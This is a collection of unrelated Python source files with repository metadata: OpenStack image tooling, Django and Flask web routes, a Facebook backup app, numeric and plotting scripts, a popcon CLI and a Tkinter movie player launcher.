osk.authenticate(): # LOG.error("Failed to authenticate to {0} tenant:{1} as:{2}.".format(self.auth_url, self.tenant, self.username)) # exitcode = 1 # sys.exit(exitcode) osi = glance_client.Client("1", endpoint=self.glance_url, token=osk.auth_token) osc = nova_client.Client('2', username=self.username, api_key=self.password, region_name=self.region, project_id=self.tenant_name, auth_url=self.auth_url, insecure=True, http_log_debug=True) instance = osc.servers.create(name=self.installer_name, image=self.installer_image_id, flavor=self.install_flavor_id, userdata=self.__menu, nics=[{'net-id': self.install_network_id}]) try: instance_id = instance.id except KeyError: LOG.error("Failed to run instance: {0}.".format(self.installer_name)) exitcode = 3 sys.exit(exitcode) LOG.info("Installer launched: {0} {1}. Waiting for instance to stop...".format( instance_id, self.installer_name)) for i in range(120): instance_updated = osc.servers.get(instance_id) try: s = instance_updated.status except KeyError: LOG.error("Failed to find running instance {0} {1}.".format(instance_id, self.installer_name)) exitcode = 4 sys.exit(exitcode) if s in ["BUILD", "ACTIVE"]: if not self.__quiet: pass #sys.stdout.write('.') #sys.stdout.flush() elif s == "SHUTOFF": LOG.info("Installation finnished {0} {1}".format( instance_id, self.installer_name)) install_ok = True break else: LOG.warning("Instance {0} {1} is in unexpected state: {2}.".format(instance_id, self.installer_name, s)) sleep(60) if not install_ok: LOG.error("Intallation {0} {1} timed out.".format(instance.id, self.installer_name)) exitcode = 5 sys.exit(exitcode) # Snapshot LOG.info("About to snapshot install instance {0} to {1}".format( instance_id, self.template_name)) image = instance.create_image(self.template_name) LOG.debug("image: {0}".format(image)) try: image_id = image except KeyError: LOG.error("Failed to create template {1} from instance {0}".format(instance_id, self.template_name)) exitcode = 6 sys.exit(exitcode) LOG.info("Template {0} is creating. Waiting for image {1} to finnish copying...".format( self.template_name, image_id)) for i in range(120): try: image_updated = osi.images.get(image_id) s = image_updated.status except KeyError: LOG.error("Failed to find template {0}.".format(image_id)) exitcode = 7 sys.exit(exitcode) else: pass if s in ["queued","saving"]: LOG.info("Template {0} is copying. Waiting.".format(image_id)) elif s == "active": LOG.info("Template {0} is ready.".format(image_id)) image_ok = True break else: LOG.warning("Template is in unexpected state: {0}.".format(s)) sleep(20) success = True except Exception as e: LOG.error("Install failed for {0}".format(self.template_name)) exitcode = 1 LOG.critical("{0}\n{1}\n{2}\n".format( "-" * 3 + " Exception details " + "-" * 50, traceback.format_exc(), "-" * 60)) finally: if self.__cleanup: LOG.info("Cleaning up") if instance_id: if osc: LOG.info("Terminating temporary (installer) instance ({0})".format(instance_id)) instance = osc.servers.get(instance_id) instance.delete() else: LOG.debug("Not removing installer instance because we don't have a connection to cloud") else: LOG.debug("Not removing installer instance because we don't have a instance ID") else: LOG.warning("Leaving installer instance and disk (requested by --no-cleanup)") if image_id: LOG.info("-" * 60 + "\nTemplate Details:\n ID: {0}\n Name: {1}\n".format( image_id, self.template_name)) sys.exit(exitcode) def upload_loader(self): """ Upload iPXE loader ISO to object storage and make a bootable snapshot. """ cloud_ipxe_image = "ipxe.iso" snapshot_name = LOADER_NAME + " " + self.__runid c2_file = None image_id = None success = False exitcode = 0 try: # upload osk = keystone_client.Client(username=self.username, password=self.password, tenant_id=self.tenant, auth_url=self.auth_url) if not osk.authenticate(): LOG.error("Failed to authenticate to {0} tenant:{1} as:{2}.".format(self.auth_url, self.tenant, self.username)) exitcode = 1 sys.exit(exitcode) osi = glance_client.Client("1", endpoint=self.glance_url, token=osk.auth_token) LOG.info("Uploading {0} to Glance image storage ({1} name: {2})".format(cloud_ipxe_image, self.glance_url, snapshot_name)) data = open(cloud_ipxe_image, "r") image = osi.images.create(name=snapshot_name,data=data,disk_format='raw',container_format='bare') #image = osi.images.create(name=snapshot_name,data=cloud_ipxe_image,size=os.path.getsize(cloud_ipxe_image)) #meta = {'container_format': 'bare','disk_format': 'raw', 'data': data, 'is_public': True, 'min_disk': 0, 'min_ram': 0, 'name': snapshot_name, 'properties': {'distro': 'rhel'}} #image.update(**meta) image_id = image.id if not image.status: LOG.error("Upload failed ({0})".format(cloud_ipxe_image)) exitcode = 4 sys.exit(exitcode) LOG.info("Uploaded {0} {1}".format(image_id, snapshot_name)) except Exception as e: LOG.error("Upload failed") exitcode = 1 LOG.critical("{0}\n{1}\n{2}\n".format( "-" * 3 + " Exception details " + "-" * 50, traceback.format_exc(), "-" * 60)) finally: if self.__cleanup: LOG.info("Cleaning up") else: LOG.warning("Leaving temporary object (requested by --no-cleanup)") if image_id: LOG.info("-" * 3 + " UPLOADED\nSnapshot Details:\n ID: {0}\n Name: {1}\n".format( image_id, snapshot_name)) sys.exit(exitcode)
UTF-8
Python
false
false
2,014
2,362,232,054,446
c40986667704604c774d26ab64f447e8e7a778d9
f10e565212fa8fe3d2a6bec6b89d29de740cfc3d
/apps/users/urls.py
593b573e42aa27ffcc5227791db9c29f5ed5c07f
[]
no_license
evilpie/mozillians
https://github.com/evilpie/mozillians
a1eff03fd1a88560bea9dfbf90307c4dbe338319
c85868993e9bf220d12213205c1543bacc2319e0
refs/heads/master
2020-12-30T18:57:12.709216
2011-11-03T20:04:02
2011-11-03T20:04:02
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.conf.urls.defaults import patterns, url from django.contrib.auth import views as auth_views from jinjautils import jinja_for_django from users import forms from . import views # So we can use the contrib logic for password resets, etc. auth_views.render_to_response = jinja_for_django urlpatterns = patterns('', url(r'^login$', views.login, dict(authentication_form=forms.AuthenticationForm), name='login'), url(r'^logout$', auth_views.logout, dict(redirect_field_name='next'), name='logout'), url(r'^register$', views.register, name='register'), url(r'^confirm$', views.confirm, name='confirm'), url(r'^send_confirmation$', views.send_confirmation, name='send_confirmation'), url(r'^password_change$', views.password_change, name='password_change'), url(r'^password_change_done$', auth_views.password_change_done, name='password_change_done'), url(r'^password_reset$', views.password_reset, name='password_reset'), url(r'^password_reset_check_mail$', views.password_reset_check_mail, name='password_reset_check_mail'), url(r'^password_reset_confirm/' '(?P<uidb36>[0-9A-Za-z]{1,13})-(?P<token>[0-9A-Za-z]{1,13}-' '[0-9A-Za-z]{1,20})/$', views.password_reset_confirm, name='password_reset_confirm'), url(r'^password_reset_complete$', auth_views.password_reset_complete, name='password_reset_complete'), )
UTF-8
Python
false
false
2,011
9,887,014,731,622
93999f015fa8489c821db87eb4666a6afb726832
c5da7d3046ce04a5db408a2ed30bc614655d5cca
/applications/facebook_app/views.py
66eaa892981a7f3e1d96df624a61520db6e9a2d3
[ "LicenseRef-scancode-free-unknown", "GPL-1.0-or-later", "GPL-3.0-only", "LicenseRef-scancode-unknown-license-reference" ]
non_permissive
jogboms/thevault
https://github.com/jogboms/thevault
1469476e354dc74afb451235753ec9d1559e7ac2
862536517ea5dedb93951962a07be1d49bc1220e
refs/heads/master
2017-04-27T00:04:53.429468
2010-12-16T15:34:46
2010-12-16T15:34:46
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- """ MyCube Vault 1.0.0 Copyright(c) 2010 DLMM Pte Ltd. [email protected] http://mycube.com/vault/license """ import os import urllib from operator import itemgetter import simplejson as json import facebook from flask import Module, render_template, jsonify, g,\ request, redirect, url_for, current_app,\ send_file, abort, flash from myvault.helpers import get_logger, get_pagination_params,\ get_archive_file, Paginator, PhotoPaginator, stringify_unicode_keys,\ is_online from myvault.scheduler import reload_schedules from .forms import ScheduleForm, SettingsForm from .helpers import run_backup from settings import BACKUP_DIR, BRIDGE from myvault.api import get_settings, save_settings, get_paginated_archives,\ get_archive, schedule_to_form_time, clear_archives module = Module(__name__, "facebook_app") logger = get_logger() @module.route("/") def index(): return render_template("facebook_app/index.html") @module.route("/backup") def backup(): if not is_online(): logger.debug("skipping backup. we are offline") return jsonify({'error': 'offline'}) logger.debug("running backup for facebook_app") preference = get_settings("facebook_app") logger.debug("%r", preference) def make_response(payload): response = app.make_response(jsonify(payload)) response.headers['cache-control'] = 'no-cache' return response if not preference: logger.debug('no preference found.') return jsonify({'error': 'no preference'}) backup_time = run_backup(preference) return jsonify({'backup_time': backup_time.strftime("%Y-%m-%d %H%M")}) @module.route("/setup") def setup(): return render_template("facebook_app/setup.html") @module.route("/setup", methods=["POST"]) def do_setup(): return redirect(url_for("preferences")) @module.route("/setup_link") def setup_link(): try: settings = get_settings('facebook_app') if settings: return render_template("facebook_app/manage_link.html") else: return render_template("facebook_app/setup_link.html") except Exception, e: logger.debug("%r", e) @module.route("/preferences") def preferences(): preference = get_settings("facebook_app") if not preference: logger.debug('no preference found. redirecting to setup') return redirect(url_for("setup")) schedule_form = ScheduleForm(prefix="schedule", **preference['schedule']) settings_form = SettingsForm(prefix="settings", **preference['settings']) return render_template("facebook_app/preferences.html", schedule_form=schedule_form, settings_form=settings_form, profile=preference['profile']) @module.route("/preferences", methods=['POST']) def do_preferences(): preference = get_settings("facebook_app") if not preference: logger.debug('no preference found. redirecting to setup') return redirect(url_for('setup')) schedule_form = ScheduleForm(request.form, prefix='schedule') settings_form = SettingsForm(request.form, prefix='settings') preference['settings'] = { 'statuses': settings_form.statuses.data, 'events': settings_form.events.data, 'albums': settings_form.albums.data, 'notes': settings_form.notes.data, 'links': settings_form.links.data, 'friends': settings_form.friends.data, 'photos': settings_form.photos.data} preference['schedule'] = { 'interval': schedule_form.interval.data, 'dayofmonth': schedule_form.dayofmonth.data, 'dayofweek': schedule_form.dayofweek.data, 'timeofday': schedule_form.timeofday.data, 'hourofday': schedule_form.hourofday.data, 'minuteofhour': schedule_form.minuteofhour.data, 'ampm': schedule_form.ampm.data} save_settings("facebook_app", preference) reload_schedules() flash("Facebook settings updated.") return redirect(url_for("preferences")) @module.route("/archives") def archives(): page, per_page = get_pagination_params(request) profile = get_settings("facebook_app") if not profile: logger.debug('no archive found. facebook_app is not set up') return redirect(url_for("preferences")) archives = get_paginated_archives("facebook_app", page, per_page) return render_template("facebook_app/archives.html", archives=archives, profile=profile['profile']) @module.route("/archives/<archive_id>") @module.route("/archives/<archive_id>/<item>") def archive(archive_id, item=None): if item is None: return abort(404) archive = get_archive('facebook_app', archive_id) data = get_archive_file("facebook_app", archive.filename) reverse = True sort_key = "id" if item == "albums": albums = [album for k, album in data['albums'].iteritems() if len(album['photos']) > 0] data['albums'] = albums sort_key = "created_time" elif item == "friends": sort_key = "name" reverse = False elif item == "statuses": sort_key = "updated_time" elif item == "events": sort_key = "start_time" elif item == "photos": sort_key = "created_time" try: requested_data = sorted(data[str(item)], key=itemgetter(sort_key), reverse=reverse) except KeyError, e: requested_data = {} profile = get_settings("facebook_app") page, per_page = get_pagination_params(request) if item == "albums": per_page = 28 return render_template("facebook_app/%s.html" % item, **{str(item): Paginator(requested_data, page, per_page), "archive_id": archive_id, "profile": profile['profile']}) @module.route("/archives/<archive_id>/albums/<album_id>/photos") def archive_album(archive_id, album_id): archive = get_archive('facebook_app', archive_id) data = get_archive_file("facebook_app", archive.filename) page, per_page = get_pagination_params(request, default_per_page=28) photos = sorted(data['albums'][album_id]['photos'].values(), key=itemgetter('created_time'), reverse=True) photos = Paginator(photos, page, per_page) preference = get_settings('facebook_app') return render_template("facebook_app/album_photos.html", archive_id=archive_id, album_id=album_id, album=data['albums'][album_id], photos=photos, profile=preference['profile']) @module.route("/archives/<archive_id>/albums/<album_id>/photos/<photo_id>") def archive_album_photo(archive_id, album_id, photo_id): archive = get_archive('facebook_app', archive_id) data = get_archive_file("facebook_app", archive.filename) page, per_page = get_pagination_params(request, default_per_page=1) preference = get_settings('facebook_app') photos = sorted(data['albums'][album_id]['photos'].values(), key=itemgetter('created_time'), reverse=True) photos = PhotoPaginator(photos, photo_id) return render_template("facebook_app/album_photo.html", archive_id=archive_id, album_id=album_id, album=data['albums'][album_id], photos=photos, profile=preference['profile']) @module.route("/archives/<archive_id>/photos/<photo_id>") def archive_photo(archive_id, photo_id): archive = get_archive('facebook_app', archive_id) data = get_archive_file('facebook_app', archive.filename) page, per_page = get_pagination_params(request, default_per_page=1) preference = get_settings('facebook_app') photos = sorted(data['photos'], key=itemgetter('created_time'), reverse=True) photos = PhotoPaginator(photos, photo_id) return render_template('facebook_app/photo.html', archive_id=archive_id, photos=photos, profile=preference['profile']) @module.route("/schedule") def schedule(): preference = get_settings('facebook_app') if preference: return jsonify(preference.schedule) return jsonify({}) @module.route("/schedules") def schedules(): preferences = get_all_settings('facebook_app') skeds = {} for preference in preferences: skeds[preference['user_id']] = preference['schedule'] if skeds: return jsonify(skeds) return jsonify({}) @module.route("/authorize") def authorize(): #bridge = "https://opensocialgraph.appspot.com/backup_bridge/facebook/authorize" bridge = BRIDGE logger.debug("brige is %r", bridge) #bridge = "http://mycubeci.redsector.com.sg/bridge/v1/socialNetworkBridge/authenticate1" local_url = url_for("register", _external=True) url = "%s?%s" % (bridge, urllib.urlencode({'redirect_url': local_url})) print "%r" % url return redirect(url) @module.route("/register") def register(): access_token = request.values.get("access_token", None) if not access_token or access_token == "None": return render_template("facebook_app/register.html") try: graph = facebook.GraphAPI(access_token) profile = graph.get_object('me') settings = { 'events': True, 'friends': True, 'notes': True, 'albums': True, 'links': True, 'statuses': True, 'photos': True} schedule = { 'interval': 'daily', 'timeofday': '0700'} schedule.update(schedule_to_form_time('0700')) save_settings("facebook_app", {'settings': settings, 'schedule': schedule, 'tokens': access_token, 'profile': profile}) reload_schedules() return render_template("facebook_app/register.html") except Exception, e: logger.debug("%r", e) @module.route("/images/profile/<image_file>") def profile_pics_path(image_file): image_file = os.path.join( BACKUP_DIR, 'facebook_app', 'profile_pics', image_file) return send_file(image_file) @module.route("/images/album/photo/<album_id>_<photo_id>_<size>.jpg") def album_photo_path(album_id, photo_id, size): image_file = os.path.join( BACKUP_DIR, 'facebook_app', 'albums', album_id, photo_id, "%s.jpg" % size) return send_file(image_file) @module.route("/images/photo/<photo_id>_<size>.jpg") def photo_path(photo_id, size): image_file = os.path.join( BACKUP_DIR, 'facebook_app', 'photos', photo_id, "%s.jpg" % size) return send_file(image_file)
UTF-8
Python
false
false
2,010
14,714,557,973,971
5c10c8f30c5c4e826e622abc12f0b811653e5c4d
8aa0271478a66e62cf2cffc2f4ed255299c86bcf
/pyofwave_server/pyofwave/core/opdev.py
ac1d06b7c8195e45af5a79d946d2bff54eb8ca8c
[ "GPL-2.0-only", "LGPL-2.1-or-later", "AGPL-3.0-only", "LicenseRef-scancode-unknown-license-reference", "MPL-2.0" ]
non_permissive
ImaginationForPeople/PyOfWave
https://github.com/ImaginationForPeople/PyOfWave
01539be250ab0d84f6616c2cdfb4551225a593fc
89762b848899c0e4365afe6a196294962ee0ac49
refs/heads/master
2020-04-08T20:35:09.942649
2011-12-05T03:45:09
2011-12-05T03:45:09
2,715,668
2
0
null
null
null
null
null
null
null
null
null
null
null
null
null
""" Underlaying API for creating operations. """ from lxml.builder import ElementMaker _receive = {} _shouldSend = {} class OperationNS(object): """ Plugin interface for operations.""" def __init__(self, namespace): self.namespace = namespace self.E = ElementMaker(namespace = namespace) def receive(self, callback): """Register callback to be called for "{%s}%s" % self.namespace, callback.__name__.""" return self._register(_receive, callback.__name__, callback) def shouldSend(self, xQuery): """Determines if a delta translates to this event (tag). """ S = None cb = None def inner(fn): name = fn.__name__ S = getattr(self.E, name) cb = fn self._register(_shouldSend, name, callback) return inner def callback(doc, delta): """ Checks xQuery then cb. """ return inner def __call__(self, arg): if callable(arg): return self.receive(arg) else: return self.shouldSend(arg) def _register(self, dikt, name, value): dikt["{"+self.namespace+"}"+name] = value
UTF-8
Python
false
false
2,011
8,787,503,093,149
4fecca495766c8b9c5f408a200b29695373199dc
d23ca6adaaf6b4bb26e677b0c354b16d76ef22bd
/reports/ParamsExplorationReport/pyCode/sensitivity_table_generator.py
3d1b6498554108504ea986d48893f50dc94c39e0
[]
no_license
yoloswag/yoloswag
https://github.com/yoloswag/yoloswag
1dd62ff2c307c85217e4a07ae03f740e3f5e9baf
d0f2fd0c1a9fbee9084cbaf2ed767932fb1286d7
refs/heads/master
2018-01-12T12:43:13.006212
2013-03-07T17:50:56
2013-03-07T17:50:56
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from numpy import array, concatenate def my_formula(r, alpha, beta, rho, ts, tc, tb, A): a2 = alpha**2 b2 = beta**2 # Solid mechanics params la = rho*(a2-2.*b2) mu = rho*b2 nu = (a2-2.*b2)/(a2-b2) E = b2*(3.*a2-4.*b2)/(a2-b2) K = rho*(a2-4.*b2/3.) # Wave times Tp = r/alpha Ts = r/beta # Function times Tf = ts+tc+tb Tu = Tf + Ts I = 2.*A*(ts+2*tc+tb) return [nu,E,K,Tp,Ts,Tf,Tu,I] def scenarios(p0, deltas, i): p = [p0] for delta in deltas: mod = p0[:i] + [delta*p0[i],] + p0[i+1:] # add is list concatenation p.append(mod) return p def initial_values_table(params0, deltas, i, params_names, function_names, filename): # fp = open(filename, "w") fp.write(r"\begin{center}" + "\n") fp.write(r" \begin{tabular}{|" + "c|"*len(p0) + "}\n") fp.write(" \hline\n") fp.write(" "+ ("${%s}_0$ & "*len(p0) %tuple(params_names))[:-3] +"\\\\ \n") fp.write(" \hline\n") fp.write(" "+ ("%.2f &"*len(p0) %tuple(p0))[:-3] +"\\\\ \n") fp.write(" \hline\n") fp.write(r" \end{tabular}"+"\n") fp.write(r"\end{center}"+"\n") fp.close() return def sensitivity_table(params0, deltas, i, params_names, function_names, filename): #[r0, alpha0, beta0, rho0, t0, ts, tc, tb, A] = params0 p = scenarios(params0, deltas, i) f = [my_formula(*vals) for vals in p] # Normalize the parameters p0 = p[0] p_n = [list(array(pi)/array(p0)) for pi in p[1:]] # Normalize the response function f0 = f[0] f_n = [list(array(fi)/array(f0)) for fi in f[1:]] # The relative values n = len(p0)+len(f0) fp = open(filename, "w") names2 = [] names2 = [] [names2.extend([name,name]) for name in params_names] [names2.extend([name,name]) for name in function_names] fp.write(r"\begin{center}"+"\n") fp.write(r"\makebox[\textwidth]{"+"\n") # To effectively center on tex fp.write(r" \begin{tabular}{|" + "c|"*len(p0) + "|" + "c|"*len(f0) + "}"+"\n") fp.write(" \hline"+"\n") fp.write(" "+ (r"$\frac{%s}{{%s}_0}$ & "*n %tuple(names2))[:-3]+r"\\"+"\n") fp.write(" \hline"+"\n") fp.write(" \hline"+"\n") for (j,(pi,fi)) in enumerate(zip(p_n, f_n)): fp.write(" "+ ("%.2f & "*n %tuple(pi+fi))[:-3]+r"\\"+"\n") fp.write(" \hline"+"\n") if (j%len(deltas))==len(deltas)-1: fp.write(" \hline"+"\n") fp.write(r" \end{tabular}"+"\n") fp.write(r"}"+"\n") # closes the makebox fp.write(r"\end{center}"+"\n") fp.close() # Now open the file and do some aftermath changes fp = open(filename,'r') lines = fp.read() fp.close() fp = open(filename,'w') fp.write(lines.replace("1.00","")) fp.close() # General data deltas = [.8,.9,1.1,1.2] params_names = [r"r", r"\alpha", r"\beta", r"\rho", r"t^s", r"t^c", r"t^b", r"A"] function_names = [r"\nu", r"E", r"K", r"T_p", r"T_S", r"T_f", r"T_u", r"I"] r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0 = 100., 5500.,3300.,2700., 0.01, 0.05, 0.03, 2.0 # Case alpha sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 1, params_names, function_names, 'sensitivity_alpha.tex') # Case beta sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 2, params_names, function_names, 'sensitivity_beta.tex') # Case rho sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 3, params_names, function_names, 'sensitivity_rho.tex') # Case ts sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 4, params_names, function_names, 'sensitivity_ts.tex') # Case tc sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 5, params_names, function_names, 'sensitivity_tc.tex') # Case tb sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 6, params_names, function_names, 'sensitivity_tb.tex') # Case A sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 7, params_names, function_names, 'sensitivity_A.tex') #Other subcases # Case r0=1 r0 = 1 #[m] sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 0, params_names, function_names, 'sensitivity_r1.tex') # Case r0=1 r0 = 10 #[m] sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 0, params_names, function_names, 'sensitivity_r10.tex') # Case r0=1 r0 = 100 #[m] sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 0, params_names, function_names, 'sensitivity_r100.tex') # Case r0=1000 r0 = 1000 #[m] sensitivity_table([r0, alpha0, beta0, rho0, ts0, tc0, tb0, A0], deltas, 0, params_names, function_names, 'sensitivity_r1000.tex') # Case alpha
UTF-8
Python
false
false
2,013
11,235,634,493,407
bc5ecf5e819a22562f421c75fd1769eeab20954a
1de13167939b9c26ebf62414ac0bf1aa0eac9351
/problem004.py
95613470de7193fc444db6599018fd7ad243f9ed
[]
no_license
gezero/EulerPython
https://github.com/gezero/EulerPython
99da41ac81b202b6b30e893145f10c62af290804
ab3432c98e2634678a8b78b1bc9a536f6dd163b5
refs/heads/master
2020-06-02T02:58:37.341941
2014-08-09T18:37:40
2014-08-09T18:37:40
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#link: https://projecteuler.net/problem=4 # A palindromic number reads the same both ways. The largest palindrome made # from the product of two 2-digit numbers is 9009 = 91 × 99. # Find the largest palindrome made from the product of two 3-digit numbers. start = 100 end = 1000 max = 0 for x in range(start, end): for y in range(start, end): val = x*y if str(val) == str(val)[::-1]: if val > max: max = val print(max)
UTF-8
Python
false
false
2,014
19,481,971,688,699
cacf5056104a4214cb866b24f5f6a32e0b0df216
3ac32155480911a0303f711beff042b2c3ce2bbf
/linesearch/initial/unity.py
5a30fd3bad7e43c23a159e5548210c8fa81bd17c
[]
no_license
lukemarris/linesearch
https://github.com/lukemarris/linesearch
49b18156bf5d44a384988fcba6a5f71982ecfbd0
57d62d2a8d92aa105e3c1c93fc0830150046fe08
refs/heads/master
2018-01-06T03:07:15.816530
2014-10-06T14:10:06
2014-10-06T14:10:06
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Imports # Newton's Method class Unity(): """ Newton. """ # Special Methods def __init__(self, options): """ Constructor. """ # Information self.name = "Unity" self.information = [False, False, False, False, False, False] # Options self.options = options # Update Functions def update(self, line, terminate): """ Passes a constant step size of 1. """ # Flag line.counter.begin_init() # New Trial Point line.new_trial(1.0)
UTF-8
Python
false
false
2,014
14,396,730,411,804
036a08335db8c6f0ac8e088f1b42606ba2dce371
538822fcd1608f1e23fa76225b7e41dba91f8ff9
/Code/DataFiltering/pca.py
1eab174c07d0e8722f73bbc3e84655843856854d
[]
no_license
Fmelle/PatRec
https://github.com/Fmelle/PatRec
af293688cdd4f7b2078f93d100e53f80c682b6db
f4887852b421d99b2e313b77213ca9568ee5b01f
refs/heads/master
2021-05-28T12:18:18.053110
2014-12-10T22:51:02
2014-12-10T22:51:02
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/bin/env python import numpy as np import pandas as pd from sklearn.decomposition import PCA def transform_data(data, num_components): """ Perform pca on the data frame given, return a data frame of the data projected onto num_components components. Parameters ---------- data : pandas data frame where each column is a feature vector for a user num_components : the number of principal components to project the data onto Example: -------- In [1]: data = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]]).transpose() In [2]: data = pd.DataFrame(data) In [3]: transform_data(data, 1) Out[3]: 0 1 2 3 4 5 0 -1.383406 -2.221898 -3.605304 1.383406 2.221898 3.605304 """ data.fillna(0, inplace=True) model = PCA(n_components = num_components) #pandas matrix has feature vector in column, model expects it in a row #-->convert to numpy matrix and then transpose transformed_data = model.fit_transform(data.as_matrix().transpose()) #transpose back to row-wise and return pandas data frame return pd.DataFrame(transformed_data.transpose())
UTF-8
Python
false
false
2,014
18,700,287,642,423
5aee6bb42af6ff559a9fa6482331fefe24bd6786
607e5f6056874c107167d2cee3832a05a0e132ec
/popconve/popconve.py
ce9119b09b28c6e0bb2eb9ae0e887e1d99e3fbe1
[]
no_license
niwinz/pypopcon
https://github.com/niwinz/pypopcon
a7f2340884cb156680ca5ac195721849887fb44b
625c1bfe391b9e4bf33f81b7636bb5f691a46a9f
refs/heads/master
2023-08-25T01:19:34.768624
2013-06-15T20:23:28
2013-06-15T20:23:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import unicode_literals, print_function import argparse import json import io import os import uuid import sys from os import path import requests import pip DEFAULT_POPCON_URL = "http://localhost:8000/publish/" def _get_virtualenv_uuid(): virtual_env_path = os.getenv('VIRTUAL_ENV', '') if not virtual_env_path: raise RuntimeError('VirtualEnv Needed') uuid_file_path = path.join(virtual_env_path, 'popcon.uuid') if path.isfile(uuid_file_path): with io.open(uuid_file_path, "rt") as f: return f.read().strip() new_uuid = uuid.uuid1().hex with io.open(uuid_file_path, "wt") as f: f.write(new_uuid) return new_uuid def _build_installation_data(): return {"apps": [{"name": app.name, "version": app.version} for app in pip.get_installed_distributions()]} def _publish(options): url = options.url if url.endswith("/"): url = url[:-1] publish_url = "{url}/{uuid}".format(url=url, uuid=_get_virtualenv_uuid()) publish_data = _build_installation_data() response = requests.put(publish_url, data=json.dumps(publish_data)) if response.status_code in (200, 201): print("Publish successful", file=sys.stderr) return 0 print("Error on publish", file=sys.stderr) return 1 def _main(): parser = argparse.ArgumentParser( description='Popcon command line interface') parser.add_argument("--version", dest="version", action="store_true", default=False, help="Show version.") parser.add_argument("--url", dest="url", default=DEFAULT_POPCON_URL, action="store", help="Override default url of service") subparsers = parser.add_subparsers(help='sub commands') publish_parser = subparsers.add_parser("publish", help="Publish your package list") publish_parser.set_defaults(which="publish") if len(sys.argv[1:]) == 0: parser.print_help() return 0 options = parser.parse_args() if options.which == "publish": return _publish(options) return 1 if __name__ == "__main__": sys.exit(_main())
UTF-8
Python
false
false
2,013
7,215,545,083,945
d531b3f8db11fa83b91811ea163cd83447df7ab5
81707563c163d11964936b04f9e307434e8073ce
/movie_browser.py
fc53c411cea24b0ef84a7cc36967da2518949205
[]
no_license
davidlpower/push_to_screen
https://github.com/davidlpower/push_to_screen
d109dcf651e716213d60d176e3bd68d451c2e309
845d4c11f2824718a71ee712c6db3af81d6f80ba
refs/heads/master
2021-04-09T17:14:12.508725
2013-03-24T02:05:33
2013-03-24T02:05:33
8,979,846
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python3 try: # for Python2 from Tkinter import * except ImportError: # for Python3 from tkinter import * import os class movieBrowser: config_file = '' movie_directory = '' movie_list = '' size = 20 filtered_movie_list = [] frame = Frame load_button = Button #stop_button = Button moviebox = Listbox def __init__(self,master): frame = Frame(master) frame.pack() Label(frame, text='Video Browser', font=("Helvetica", 16)).grid(row=0, column=0) self.moviebox = Listbox(frame, height=self.size, width=50, selectmode=BROWSE) # get the movies try: # call the get_movies function which inits movie_list self.get_movies() # loop through each movie for movie in self.movie_list: # remove text and script files fileName, fileExtension = os.path.splitext(movie) if (fileExtension == ".mp4") or (fileExtension == ".mkv") or (fileExtension == ".avi"): videoFile = fileName + fileExtension # record the filtered list of movies self.filtered_movie_list.append(videoFile) self.moviebox.insert(END, videoFile) except Exception as problem: print('Error Running: ' + str(problem)) self.moviebox.grid(row=1, column=0) # set up load button self.load_button = Button(frame, text='Load',font=("Helvetica", 12)) self.load_button.grid(row=self.size+1, column=0) self.load_button.bind("<Button-1>", self.play) # Need to add multi thread # set up load button #self.stop_button = Button(frame, text='Stop',font=("Helvetica", 12)) #self.stop_button.grid(row=self.size+2, column=0) #self.stop_button.bind("<Button-1>", self.stop) # play selected video def play(self, event): selected_video = list(self.moviebox.curselection()) print('Loading: '+str(self.filtered_movie_list[int(selected_video[0])])) try: os.system('omxplayer -o hdmi '+str(self.filtered_movie_list[int(selected_video[0])])) except Exception as error: print(str(error)) # stop playing video def stop(self, event): os.system('pkill omxplayer') def get_movies(self): try: self.config_file = self.get_directory() # change to video dir os.chdir(self.config_file) # get list of files in dir self.movie_list = os.listdir(os.getcwd()) except IOError as e: print(str(e)) def get_directory(self): try: dir_list = os.path.realpath(__file__).split('movie_browser.py') file = open(dir_list[0]+'config.txt','r') parse_file = True movie_list = [] while (parse_file): textFile_data = file.readline().rstrip() if textFile_data == '': parse_file = False else: parse_file = True movie_list.append(textFile_data) if any("dir" in s for s in movie_list): dir = movie_list[0].split('=') dir = dir[1].replace("'", "") return dir else: return '' except IOError: return 'No Config file or Option dir not in your config file' # set up and run program root = Tk() # set window title root.wm_title('Video Browser') # set window size root.geometry('450x425') # init browser class mb = movieBrowser(root) # start mail loop root.mainloop()
UTF-8
Python
false
false
2,013
16,209,206,587,378
6cab9515dc36a503190e398da18c743a62e7800a
36bd485c44ec1f1ef4ad6ee769aed6064a2eec94
/src/flxbindings/entities.py
4d5265c8afa5c12ffbd962d12862591067c51509
[ "Python-2.0" ]
permissive
felixion/flxbindings
https://github.com/felixion/flxbindings
c0dd1622b25f18f51198253efddd1955b4df1020
0ab9e7e7625b0a1e6ea79d9994d3885056bf9064
refs/heads/master
2020-04-13T12:48:37.315922
2012-10-22T04:51:22
2012-10-22T04:51:22
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
